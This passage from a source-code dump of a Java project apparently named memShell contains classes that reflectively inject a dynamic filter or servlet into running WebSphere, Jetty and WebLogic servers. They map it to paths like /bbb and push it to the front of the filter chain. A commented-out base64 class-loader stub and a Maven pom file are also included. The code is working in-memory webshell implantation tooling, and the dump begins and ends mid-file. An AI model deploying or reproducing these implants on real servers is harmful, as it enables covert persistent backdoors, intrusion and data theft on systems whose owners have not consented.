89 | // String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcjsBAAFjAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtkZWZpbmVDbGFzcwEALChbQkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAFYnl0ZXMBAAJbQgEAC2NsYXNzTG9hZGVyAQAKU291cmNlRmlsZQEAEk15Q2xhc3NMb2FkZXIuamF2YQwABgAHAQAiY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcgwADwAaAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQACAAUAAAAAAAIAAAAGAAcAAQAIAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAJAAAABgABAAAABAAKAAAAFgACAAAABgALAAwAAAAAAAYADQAOAAEACQAPABAAAQAIAAAARAAEAAIAAAAQuwACWSu3AAMqAyq+tgAEsAAAAAIACQAAAAYAAQAAAAgACgAAABYAAgAAABAAEQASAAAAAAAQABMADgABAAEAFAAAAAIAFQ==";
90 | // byte[] bytes = new BASE64Decoder().decodeBuffer(code);
91 | // method.setAccessible(true);
92 | // this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
93 | // }
94 | // } catch (IllegalAccessException e) {
95 | // e.printStackTrace();
96 | // } catch (IOException e) {
97 | // e.printStackTrace();
98 | // } catch (InvocationTargetException e) {
99 | // e.printStackTrace();
100 | // }
101 | // }
102 | //}
103 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/websphere/FilterBasedWithoutRequest.java:
--------------------------------------------------------------------------------
1 | package com.memshell.websphere;
2 |
3 | import com.memshell.generic.FilterTemplate;
4 | import javax.servlet.*;
5 | import javax.servlet.http.HttpServlet;
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import java.lang.reflect.Method;
9 | import java.util.EnumSet;
10 | import java.util.List;
11 |
12 | public class FilterBasedWithoutRequest extends HttpServlet {
13 | @Override
14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
15 |
16 | try{
17 | String filterName = "myFilter2";
18 | String urlPattern = "/bbb";
19 |
20 | Class clazz = Thread.currentThread().getClass();
21 | java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
22 | field.setAccessible(true);
23 | Object obj = field.get(Thread.currentThread());
24 |
25 | Object[] obj_arr = (Object[]) obj;
26 | for(int j = 0; j < obj_arr.length; j++){
27 | Object o = obj_arr[j];
28 | if(o == null) continue;
29 |
30 | if(o.getClass().getName().endsWith("WebContainerRequestState")){
31 | Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
32 | Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]);
33 |
34 | field = servletContext.getClass().getDeclaredField("context");
35 | field.setAccessible(true);
36 | Object context = field.get(servletContext);
37 |
38 | field = context.getClass().getSuperclass().getDeclaredField("config");
39 | field.setAccessible(true);
40 | Object webAppConfiguration = field.get(context);
41 |
42 | Method method = null;
43 | Method[] methods = webAppConfiguration.getClass().getMethods();
44 | for(int i = 0; i < methods.length; i++){
45 | if(methods[i].getName().equals("getFilterMappings")){
46 | method = methods[i];
47 | break;
48 | }
49 | }
50 | List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]);
51 |
52 | boolean flag = false;
53 | for(int i = 0; i < filerMappings.size(); i++){
54 | Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]);
55 | String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]);
56 | if(name.equals(filterName)){
57 | flag = true;
58 | break;
59 | }
60 | }
61 |
62 | //如果已存在同名的 Filter,就不在添加,防止重复添加
63 | if(!flag){
64 | System.out.println("[+] Add Dynamic Filter");
65 |
66 | Filter filter = new FilterTemplate();
67 |
68 | Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName});
69 | filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter});
70 |
71 | method = null;
72 | methods = webAppConfiguration.getClass().getMethods();
73 | for(int i = 0; i < methods.length; i++){
74 | if(methods[i].getName().equals("addFilterInfo")){
75 | method = methods[i];
76 | break;
77 | }
78 | }
79 | method.invoke(webAppConfiguration, new Object[]{filterConfig});
80 |
81 | field = filterConfig.getClass().getSuperclass().getDeclaredField("context");
82 | field.setAccessible(true);
83 | Object original = field.get(filterConfig);
84 |
85 | //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常
86 | field.set(filterConfig, null);
87 |
88 | method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class});
89 | method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}});
90 |
91 | //addMappingForUrlPatterns 流程走完,再将其设置为原来的值
92 | field.set(filterConfig, original);
93 |
94 | method = null;
95 | methods = webAppConfiguration.getClass().getMethods();
96 | for(int i = 0; i < methods.length; i++){
97 | if(methods[i].getName().equals("getUriFilterMappings")){
98 | method = methods[i];
99 | break;
100 | }
101 | }
102 |
103 | //这里的目的是为了将我们添加的动态 Filter 放到第一位
104 | List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]);
105 | uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1));
106 | }
107 |
108 | break;
109 | }
110 | }
111 | }catch(Exception e){
112 | e.printStackTrace();
113 | }
114 | }
115 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/websphere/FilterBasedWithoutRequestVariant.java:
--------------------------------------------------------------------------------
1 | package com.memshell.websphere;
2 |
3 | import com.memshell.generic.Util;
4 | import javax.servlet.DispatcherType;
5 | import javax.servlet.Filter;
6 | import javax.servlet.http.HttpServlet;
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 | import java.lang.reflect.Method;
10 | import java.util.EnumSet;
11 | import java.util.List;
12 |
13 | public class FilterBasedWithoutRequestVariant extends HttpServlet {
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
16 |
17 | try{
18 | String filterName = "myFilter3";
19 | String urlPattern = "/ccc";
20 |
21 | Class clazz = Thread.currentThread().getClass();
22 | java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
23 | field.setAccessible(true);
24 | Object obj = field.get(Thread.currentThread());
25 |
26 | Object[] obj_arr = (Object[]) obj;
27 | for(int j = 0; j < obj_arr.length; j++){
28 | Object o = obj_arr[j];
29 | if(o == null) continue;
30 |
31 | if(o.getClass().getName().endsWith("WebContainerRequestState")){
32 | Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
33 | Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]);
34 |
35 | field = servletContext.getClass().getDeclaredField("context");
36 | field.setAccessible(true);
37 | Object context = field.get(servletContext);
38 |
39 | field = context.getClass().getSuperclass().getDeclaredField("config");
40 | field.setAccessible(true);
41 | Object webAppConfiguration = field.get(context);
42 |
43 | Method method = null;
44 | Method[] methods = webAppConfiguration.getClass().getMethods();
45 | for(int i = 0; i < methods.length; i++){
46 | if(methods[i].getName().equals("getFilterMappings")){
47 | method = methods[i];
48 | break;
49 | }
50 | }
51 | List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]);
52 |
53 | boolean flag = false;
54 | for(int i = 0; i < filerMappings.size(); i++){
55 | Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]);
56 | String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]);
57 | if(name.equals(filterName)){
58 | flag = true;
59 | break;
60 | }
61 | }
62 |
63 | //如果已存在同名的 Filter,就不在添加,防止重复添加
64 | if(!flag){
65 | System.out.println("[+] Add Dynamic Filter");
66 |
67 | clazz = Util.getDynamicFilterTemplateClass();
68 |
69 | Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName});
70 | Object filter = clazz.newInstance();
71 | filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter});
72 |
73 | method = null;
74 | methods = webAppConfiguration.getClass().getMethods();
75 | for(int i = 0; i < methods.length; i++){
76 | if(methods[i].getName().equals("addFilterInfo")){
77 | method = methods[i];
78 | break;
79 | }
80 | }
81 | method.invoke(webAppConfiguration, new Object[]{filterConfig});
82 |
83 | field = filterConfig.getClass().getSuperclass().getDeclaredField("context");
84 | field.setAccessible(true);
85 | Object original = field.get(filterConfig);
86 |
87 | //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常
88 | field.set(filterConfig, null);
89 |
90 | method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class});
91 | method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}});
92 |
93 | //addMappingForUrlPatterns 流程走完,再将其设置为原来的值
94 | field.set(filterConfig, original);
95 |
96 | method = null;
97 | methods = webAppConfiguration.getClass().getMethods();
98 | for(int i = 0; i < methods.length; i++){
99 | if(methods[i].getName().equals("getUriFilterMappings")){
100 | method = methods[i];
101 | break;
102 | }
103 | }
104 |
105 | //这里的目的是为了将我们添加的动态 Filter 放到第一位
106 | List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]);
107 | uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1));
108 | }
109 |
110 | break;
111 | }
112 | }
113 | }catch(Exception e){
114 | e.printStackTrace();
115 | }
116 | }
117 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java:
--------------------------------------------------------------------------------
1 | package com.memshell.jetty;
2 |
3 | import com.memshell.generic.FilterTemplate;
4 | import com.sun.jmx.mbeanserver.JmxMBeanServer;
5 | import com.sun.jmx.mbeanserver.NamedObject;
6 | import com.sun.jmx.mbeanserver.Repository;
7 | import javax.management.ObjectName;
8 | import javax.servlet.*;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.lang.management.ManagementFactory;
13 | import java.lang.reflect.Field;
14 | import java.lang.reflect.Method;
15 | import java.lang.reflect.Modifier;
16 | import java.util.EnumSet;
17 | import java.util.Set;
18 |
19 | public class FilterBasedWithoutRequest extends HttpServlet {
20 | @Override
21 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
22 | // 不管是这种方式拿到的 webAppContext 还是是通过 req.getServletContext() 拿到的 webAppContext
23 | // 他们的类加载器都是 startJarLoader,不同于 Thread.currentThread().getContextClassLoader()
24 | // 导致只能通过反射的方式完成整个步骤,否则就会抛 ClassNotFoundException 异常
25 |
26 | try{
27 | String filterName = "myFilter1";
28 | String urlPattern = "/aaa";
29 |
30 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
31 |
32 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
33 | field.setAccessible(true);
34 | Object obj = field.get(mBeanServer);
35 |
36 | field = obj.getClass().getDeclaredField("repository");
37 | field.setAccessible(true);
38 | Field modifier = field.getClass().getDeclaredField("modifiers");
39 | modifier.setAccessible(true);
40 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
41 | Repository repository = (Repository)field.get(obj);
42 |
43 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
44 | for(NamedObject namedObject : namedObjectSet){
45 | try{
46 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
47 | field.setAccessible(true);
48 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
49 | Object webAppContext = field.get(namedObject.getObject());
50 |
51 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
52 | field.setAccessible(true);
53 | Object handler = field.get(webAppContext);
54 |
55 | field = handler.getClass().getDeclaredField("_filters");
56 | field.setAccessible(true);
57 | Object[] objects = (Object[]) field.get(handler);
58 |
59 | boolean flag = false;
60 | for(Object o : objects){
61 | field = o.getClass().getSuperclass().getDeclaredField("_name");
62 | field.setAccessible(true);
63 | String name = (String)field.get(o);
64 | if(name.equals(filterName)){
65 | flag = true;
66 | break;
67 | }
68 | }
69 |
70 | if(!flag){
71 | System.out.println("[+] Add Dynamic Filter");
72 |
73 | ClassLoader classLoader = handler.getClass().getClassLoader();
74 | Class sourceClazz = null;
75 | Object holder = null;
76 | try{
77 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
78 | field = sourceClazz.getDeclaredField("JAVAX_API");
79 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
80 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
81 | holder = method.invoke(handler, field.get(null));
82 | }catch(ClassNotFoundException e){
83 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
84 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
85 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
86 | }
87 |
88 | holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
89 | Filter filter = new FilterTemplate();
90 | holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter);
91 | handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder);
92 |
93 | Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
94 | Object filterMapping = clazz.newInstance();
95 | Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
96 | method.setAccessible(true);
97 | method.invoke(filterMapping, holder);
98 | filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
99 | filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
100 |
101 | // prependFilterMapping 会自动把 filter 加到最前面
102 | handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping);
103 | }
104 | }catch(Exception e){
105 | //pass
106 | }
107 | }
108 | }catch(Exception e){
109 | e.printStackTrace();
110 | }
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/jetty/FilterBasedWithoutRequestVariant.java:
--------------------------------------------------------------------------------
1 | package com.memshell.jetty;
2 |
3 | import com.memshell.generic.Util;
4 | import com.sun.jmx.mbeanserver.JmxMBeanServer;
5 | import com.sun.jmx.mbeanserver.NamedObject;
6 | import com.sun.jmx.mbeanserver.Repository;
7 | import javax.management.ObjectName;
8 | import javax.servlet.*;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.lang.management.ManagementFactory;
13 | import java.lang.reflect.Field;
14 | import java.lang.reflect.Method;
15 | import java.lang.reflect.Modifier;
16 | import java.util.EnumSet;
17 | import java.util.Set;
18 |
19 | public class FilterBasedWithoutRequestVariant extends HttpServlet {
20 | @Override
21 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
22 | // 不管是这种方式拿到的 webAppContext 还是是通过 req.getServletContext() 拿到的 webAppContext
23 | // 他们的类加载器都是 startJarLoader,不同于 Thread.currentThread().getContextClassLoader()
24 | // 导致只能通过反射的方式完成整个步骤,否则就会抛 ClassNotFoundException 异常
25 |
26 | try{
27 | String filterName = "myFilter2";
28 | String urlPattern = "/bbb";
29 |
30 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
31 |
32 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
33 | field.setAccessible(true);
34 | Object obj = field.get(mBeanServer);
35 |
36 | field = obj.getClass().getDeclaredField("repository");
37 | field.setAccessible(true);
38 | Field modifier = field.getClass().getDeclaredField("modifiers");
39 | modifier.setAccessible(true);
40 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
41 | Repository repository = (Repository)field.get(obj);
42 |
43 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
44 | for(NamedObject namedObject : namedObjectSet){
45 | try{
46 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
47 | field.setAccessible(true);
48 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
49 | Object webAppContext = field.get(namedObject.getObject());
50 |
51 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
52 | field.setAccessible(true);
53 | Object handler = field.get(webAppContext);
54 |
55 | field = handler.getClass().getDeclaredField("_filters");
56 | field.setAccessible(true);
57 | Object[] objects = (Object[]) field.get(handler);
58 |
59 | boolean flag = false;
60 | for(Object o : objects){
61 | field = o.getClass().getSuperclass().getDeclaredField("_name");
62 | field.setAccessible(true);
63 | String name = (String)field.get(o);
64 | if(name.equals(filterName)){
65 | flag = true;
66 | break;
67 | }
68 | }
69 |
70 | if(!flag){
71 | System.out.println("[+] Add Dynamic Filter");
72 |
73 | ClassLoader classLoader = handler.getClass().getClassLoader();
74 | Class sourceClazz = null;
75 | Object holder = null;
76 | try{
77 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
78 | field = sourceClazz.getDeclaredField("JAVAX_API");
79 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
80 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
81 | holder = method.invoke(handler, field.get(null));
82 | }catch(ClassNotFoundException e){
83 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
84 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
85 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
86 | }
87 |
88 | holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
89 | Class clazz = Util.getDynamicFilterTemplateClass();
90 | holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, clazz.newInstance());
91 | handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder);
92 |
93 | clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
94 | Object filterMapping = clazz.newInstance();
95 | Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
96 | method.setAccessible(true);
97 | method.invoke(filterMapping, holder);
98 | filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
99 | filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
100 |
101 | // prependFilterMapping 会自动把 filter 加到最前面
102 | handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping);
103 | }
104 | }catch(Exception e){
105 | //pass
106 | }
107 | }
108 | }catch(Exception e){
109 | e.printStackTrace();
110 | }
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/weblogic/FilterBasedWithoutRequest.java:
--------------------------------------------------------------------------------
1 | //package com.memshell.weblogic;
2 | //
3 | //import com.memshell.generic.Util;
4 | //import com.sun.jmx.mbeanserver.NamedObject;
5 | //import com.sun.jmx.mbeanserver.Repository;
6 | //import weblogic.servlet.internal.FilterManager;
7 | //import weblogic.servlet.internal.WebAppServletContext;
8 | //import weblogic.servlet.utils.ServletMapping;
9 | //import weblogic.utils.collections.MatchMap;
10 | //import javax.management.MBeanServer;
11 | //import javax.management.ObjectName;
12 | //import javax.servlet.http.HttpServlet;
13 | //import javax.servlet.http.HttpServletRequest;
14 | //import javax.servlet.http.HttpServletResponse;
15 | //import java.lang.management.ManagementFactory;
16 | //import java.lang.reflect.Field;
17 | //import java.lang.reflect.Method;
18 | //import java.util.*;
19 | //
20 | //public class FilterBasedWithoutRequest extends HttpServlet {
21 | // @Override
22 | // protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
23 | // try{
24 | // String filterName = "dynamicFilter2";
25 | // String urlPattern = "/bbb";
26 | //
27 | // MBeanServer server = ManagementFactory.getPlatformMBeanServer();
28 | // Field field = server.getClass().getDeclaredField("wrappedMBeanServer");
29 | // field.setAccessible(true);
30 | // Object obj = field.get(server);
31 | //
32 | // field = obj.getClass().getDeclaredField("mbsInterceptor");
33 | // field.setAccessible(true);
34 | // obj = field.get(obj);
35 | //
36 | // field = obj.getClass().getDeclaredField("repository");
37 | // field.setAccessible(true);
38 | // Repository repository = (Repository)field.get(obj);
39 | //
40 | // // 这里的 query 参数会被忽略,所以直接用 null
41 | // Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"),null);
42 | // for(NamedObject namedObject : namedObjects){
43 | // try{
44 | // String name = (String) namedObject.getObject().getAttribute("Name");
45 | // if(name.equals("bea_wls_internal") || name.equals("mejb") ||
46 | // (name.contains("bea") && name.contains("wls"))) continue;
47 | //
48 | // field = namedObject.getObject().getClass().getDeclaredField("managedResource");
49 | // field.setAccessible(true);
50 | // obj = field.get(namedObject.getObject());
51 | //
52 | // field = obj.getClass().getSuperclass().getDeclaredField("children");
53 | // field.setAccessible(true);
54 | // HashSet set = (HashSet)field.get(obj);
55 | //
56 | // for(Object o : set){
57 | // if(o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")){
58 | // field = o.getClass().getDeclaredField("context");
59 | // field.setAccessible(true);
60 | // WebAppServletContext servletContext = (WebAppServletContext) field.get(o);
61 | // FilterManager filterManager = servletContext.getFilterManager();
62 | //
63 | // // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载
64 | // if (!filterManager.isFilterRegistered(filterName)) {
65 | // System.out.println("[+] Add Dynamic Filter");
66 | //
67 | // Class clazz = Util.getDynamicServletTemplateClass();
68 | //
69 | // //将 Filter 注册进 FilterManager
70 | // //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
71 | // Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
72 | // registerFilterMethod.setAccessible(true);
73 | // registerFilterMethod.invoke(filterManager, filterName, "com.memshell.generic.DynamicFilterTemplate", new String[]{urlPattern}, null, null, null);
74 | //
75 | //
76 | // //将我们添加的 Filter 移动到 FilterChian 的第一位
77 | // Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList");
78 | // filterPatternListField.setAccessible(true);
79 | // ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager);
80 | //
81 | //
82 | // //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常
83 | // for(int i = 0; i < filterPatternList.size(); i++){
84 | // Object filterPattern = filterPatternList.get(i);
85 | // Field f = filterPattern.getClass().getDeclaredField("map");
86 | // f.setAccessible(true);
87 | // ServletMapping mapping = (ServletMapping) f.get(filterPattern);
88 | //
89 | // f = mapping.getClass().getSuperclass().getDeclaredField("matchMap");
90 | // f.setAccessible(true);
91 | // MatchMap matchMap = (MatchMap)f.get(mapping);
92 | //
93 | // Object result = matchMap.match(urlPattern);
94 | // if(result != null && result.toString().contains(urlPattern)){
95 | // Object temp = filterPattern;
96 | // filterPatternList.set(i, filterPatternList.get(0));
97 | // filterPatternList.set(0, temp);
98 | // break;
99 | // }
100 | // }
101 | // }
102 | // }
103 | // }
104 | // }catch(Exception e){
105 | // //pass
106 | // }
107 | // }
108 | // }catch (Exception e){
109 | // e.printStackTrace();
110 | // }
111 | // }
112 | //}
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
5 | 4.0.0
6 |
7 | org.example
8 | memShell
9 | 1.0-SNAPSHOT
10 | war
11 |
12 | memShell Maven Webapp
13 | http://www.example.com
14 |
15 |
16 | UTF-8
17 | 1.6
18 | 1.6
19 |
20 | 3.2.3.RELEASE
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | org.springframework
31 | spring-core
32 | ${spring.version}
33 |
34 |
35 | org.springframework
36 | spring-beans
37 | ${spring.version}
38 |
39 |
40 | org.springframework
41 | spring-web
42 | ${spring.version}
43 |
44 |
45 | org.springframework
46 | spring-oxm
47 | ${spring.version}
48 |
49 |
50 | org.springframework
51 | spring-tx
52 | ${spring.version}
53 |
54 |
55 | org.springframework
56 | spring-jdbc
57 | ${spring.version}
58 |
59 |
60 | org.springframework
61 | spring-webmvc
62 | ${spring.version}
63 |
64 |
65 | org.springframework
66 | spring-aop
67 | ${spring.version}
68 |
69 |
70 | org.springframework
71 | spring-context-support
72 | ${spring.version}
73 |
74 |
75 | org.springframework
76 | spring-test
77 | ${spring.version}
78 |
79 |
80 |
81 | javax.servlet
82 | javax.servlet-api
83 | 3.0.1
84 | provided
85 |
86 |
87 |
88 |
89 |
90 | org.apache.tomcat.embed
91 | tomcat-embed-core
92 | 9.0.27
93 | provided
94 |
95 |
96 |
97 |
98 | org.eclipse.jetty
99 | jetty-server
100 | 9.4.30.v20200611
101 | provided
102 |
103 |
104 |
105 |
106 |
107 | io.undertow
108 | undertow-core
109 | 2.2.2.Final
110 | provided
111 |
112 |
113 |
114 |
115 | io.undertow
116 | undertow-servlet
117 | 2.2.2.Final
118 | provided
119 |
120 |
121 |
122 |
123 | org.jboss.spec.javax.security.jacc
124 | jboss-jacc-api_1.4_spec
125 | 1.0.3.Final
126 | provided
127 |
128 |
129 |
130 | junit
131 | junit
132 | 4.11
133 | test
134 |
135 |
136 |
137 |
138 |
139 |
140 | memShell
141 |
142 |
143 |
144 | maven-clean-plugin
145 | 3.1.0
146 |
147 |
148 |
149 | maven-resources-plugin
150 | 3.0.2
151 |
152 |
153 | maven-compiler-plugin
154 | 3.8.0
155 |
156 |
157 | maven-surefire-plugin
158 | 2.22.1
159 |
160 |
161 | maven-war-plugin
162 | 3.2.2
163 |
164 |
165 | maven-install-plugin
166 | 2.5.2
167 |
168 |
169 | maven-deploy-plugin
170 | 2.8.2
171 |
172 |
173 |
174 |
175 |
176 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/jetty/ServletBasedWithoutRequest.java:
--------------------------------------------------------------------------------
1 | package com.memshell.jetty;
2 |
3 | import com.memshell.generic.ServletTemplate;
4 | import com.sun.jmx.mbeanserver.JmxMBeanServer;
5 | import com.sun.jmx.mbeanserver.NamedObject;
6 | import com.sun.jmx.mbeanserver.Repository;
7 | import javax.management.ObjectName;
8 | import javax.servlet.*;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.lang.management.ManagementFactory;
13 | import java.lang.reflect.Field;
14 | import java.lang.reflect.Method;
15 | import java.lang.reflect.Modifier;
16 | import java.util.Set;
17 |
18 | public class ServletBasedWithoutRequest extends HttpServlet {
19 | @Override
20 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
21 | // 不管是这种方式拿到的 webAppContext 还是是通过 req.getServletContext() 拿到的 webAppContext
22 | // 他们的类加载器都是 startJarLoader,不同于 Thread.currentThread().getContextClassLoader()
23 | // 导致只能通过反射的方式完成整个步骤,否则就会抛 ClassNotFoundException 异常
24 |
25 | try{
26 | String servletName = "myServlet1";
27 | String urlPattern = "/xxx";
28 |
29 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
30 |
31 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
32 | field.setAccessible(true);
33 | Object obj = field.get(mBeanServer);
34 |
35 | field = obj.getClass().getDeclaredField("repository");
36 | field.setAccessible(true);
37 | Field modifier = field.getClass().getDeclaredField("modifiers");
38 | modifier.setAccessible(true);
39 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
40 | Repository repository = (Repository)field.get(obj);
41 |
42 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
43 | for(NamedObject namedObject : namedObjectSet){
44 | try{
45 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
46 | field.setAccessible(true);
47 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
48 | Object webAppContext = field.get(namedObject.getObject());
49 |
50 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
51 | field.setAccessible(true);
52 | Object handler = field.get(webAppContext);
53 |
54 | field = handler.getClass().getDeclaredField("_servlets");
55 | field.setAccessible(true);
56 | Object[] objects = (Object[]) field.get(handler);
57 |
58 | boolean flag = false;
59 | for(Object o : objects){
60 | field = o.getClass().getSuperclass().getDeclaredField("_name");
61 | field.setAccessible(true);
62 | String name = (String)field.get(o);
63 | if(name.equals(servletName)){
64 | flag = true;
65 | break;
66 | }
67 | }
68 |
69 | if(!flag){
70 | System.out.println("[+] Add Dynamic Servlet");
71 |
72 | ClassLoader classLoader = handler.getClass().getClassLoader();
73 | Class sourceClazz = null;
74 | Object holder = null;
